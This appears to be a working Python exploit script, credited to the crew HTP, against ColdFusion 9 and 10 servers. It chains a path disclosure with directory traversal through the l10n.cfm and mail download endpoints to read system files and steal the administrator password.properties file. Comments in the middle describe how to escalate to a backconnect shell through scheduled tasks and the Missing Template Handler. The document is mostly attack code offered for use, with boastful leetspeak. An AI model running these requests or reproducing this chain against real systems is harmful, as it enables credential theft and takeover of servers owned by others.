ColdFusion 9-10 – Credential Disclosure
#!/usr/bin/env python # -*- coding: utf-8 -*- intro=""" _ _ _______ _____ _ _ _______ Cold ,''' Fusion |_____| | |_____] \ / |______ Cold ,''' /-- Fusion | | | | \/ ______|. Cold -,__,' Fusion Name : ColdSub-Zero.pyFusion v2 Description : CF9-10 Remote Root Zeroday Crew : HTP """ cyan = "\x1b[1;36m" red = "\x1b[1;31m" clear = "\x1b[0m" print intro.replace("Cold",cyan).replace("Fusion",clear) import requests, time, sys, urllib, hashlib def flash(color,text,times): sys.stdout.write(text) line1 = "\x0d\x1b[2K%s%s" % (color,text) line2 = "\x0d\x1b[2K%s%s" % (clear,text) for x in range(0,times): sys.stdout.write(line1) sys.stdout.flush() time.sleep(.2) sys.stdout.write(line2) sys.stdout.flush() time.sleep(.2) print line2 abspath = "" operatingsystem = "refrigerator" coldfusion = 0 def fingerprintcf(protocol,target): # Fingerprint using md5's of CF 9/10 admin image print "[*] Fingerprinting CF 9/10 instance" imgdata = requests.get("%s://%s/CFIDE/administrator/images/loginbackground.jpg" % (protocol,target)).content md5fingerprint = hashlib.md5(imgdata).hexdigest() if md5fingerprint == "a4c81b7a6289b2fc9b36848fa0cae83c": print "[*] Detected ColdFusion 10" return 10 elif md5fingerprint == "596b3fc4f1a0b818979db1cf94a82220": print "[*] Detected ColdFusion 9" return 9 elif md5fingerprint == "779efc149954677095446c167344dbfc": # ColdFusion 8 doesn't have mail.cfm, but it is still exploitable due to l10n parsing the template as CFM. # It would require shell data to be on the box to include, such as an uploaded 'picture' or what-not. print "[*] Requires inclusion: m4ke your 0wn fuq1ng z3r0d4y!" sys.exit(0) else: print "[*] Unable to fingerprint, continuing with little environment data" return None def getpath(protocol,target): # Leverage a path disclosure to get the absolute path on CF9-10 print "[*] Testing for path disclosure" abspathdata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).headers if "set-cookie" in abspathdata.keys(): try: abspath = urllib.unquote(abspathdata['set-cookie'].split('ANALYZER_DIRECTORY=')[1].split(';')[0]) print "[*] Absolute path obtained: %s" % abspath if abspath[0] == "/": print "[*] Detected Linux" operatingsystem = "linux" elif abspath[1] == ":": print "[*] Detected Windows" operatingsystem = "windows 95 with bonzibuddy" else: print "[?] t4rg3t 4pp34r5 t0 b3 runn1n9 0n 4 r3fr1g3r4t0r" operatingsystem = "refrigerator" except: print "[?] OS detection failure. Continuing with fingerprint." else: print "[?] OS detection failure. Continuing with fingerprint." return abspath,operatingsystem # HTP '13 # Congratulations, you're reading the source. # # Subzero v2 is a do-it-yourself Subzero v1. Some details have been provided throughout the source hinting at the potential usage. # As far as changes, the Null RDS 1day has been removed, as well as the locale + FCKEditor exploitation checks & auth bypass + shell drop. # If you know what you are doing, this 0day can be used in conjunction with the other 0days to exploit ColdFusion 6-10. (aka everything). # # ColdFusion 6 can be taken out with the locale 0day, and XORing password.properties against the stored private key will yield the actual # login password. # # Since you're reading the source, we'll give you another 0day to improve Subzero. Once Subzero has extracted the hash, use scheduled tasks # to store your backconnect shell in a temp directory (such as the CF temp directory/windows TEMP dir or /dev/shm). Then, use Server Settings # > Settings in the CF admin to load it as the Missing Template Handler (you can travel upwards from the 'relative path' using ../). Finally, # trigger a 404 to recieve your backconnect, and restore the Missing Template Handler. We might release fUZE Shell v2 in the future for POCs # of this written in CFML. # # For anyone looking to fully weaponize Subzero into direct RXE for ColdFusion 10, we'll give you a hint. Subzero is a LFI, not a LFD. # (preinstalled *.cfm) :P target = raw_input("Target> ") if "https" in target: protocol = "https" target = target.replace("http://","").replace("https://","").split("/")[0] print "[*] Target set to: %s" % target print "[*] HTTPS: Enabled" else: protocol = "http" target = target.replace("http://","").replace("https://","").split("/")[0] print "[*] Target set to: %s" % target abspath,operatingsystem = getpath(protocol,target) coldfusion = fingerprintcf(protocol,target) print "[*] Collecting additional data about operating system" etchosts = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/hosts&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content bootini = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../boot.ini&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content if "hosts" in etchosts or "127.0.0.1" in etchosts: operatingsystem = "linux" elif "[boot loader]" in bootini or "[operating systems]" in bootini: operatingsystem = "windows 95 with bonzibuddy" elif operatingsystem is "linux" or "windows 95 with bonzibuddy": pass else: operatingsystem = "refrigerator" if operatingsystem is "refrigerator": print "[*] go0d 1uq!!" print "[*] Obtaining credentials" tests = ["../../lib/password.properties","..\..\lib\password.properties"] if operatingsystem is "windows 95 with bonzibuddy": if coldfusion == 10: tests += ["..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"] elif coldfusion == 9: tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"] else: tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"] elif operatingsystem is "linux": if coldfusion == 10: tests += ["../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] elif coldfusion == 9: tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] else: tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] elif operatingsystem is "refrigerator": # w3lp l00ks l1k3 w3 g0tt4 5h0tguN th1s sh1t tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties", "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties", "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"] for path in tests: lfidata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=%s&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target,path)).content if "encrypted=true" in lfidata: credzacquired = True print "[*] CF Administrator credentials acquired:" print lfidata else: pass if credzacquired == True: flash(cyan,"[~] SUB ZERO WINS",3) time.sleep(.5) flash(red,"[!] FLAWLESS VICTORY",3) time.sleep(.5) else: flash(red,"[!] COLDFUSION ADMIN WINS",3) time.sleep(.5) # e0f HTP '13 |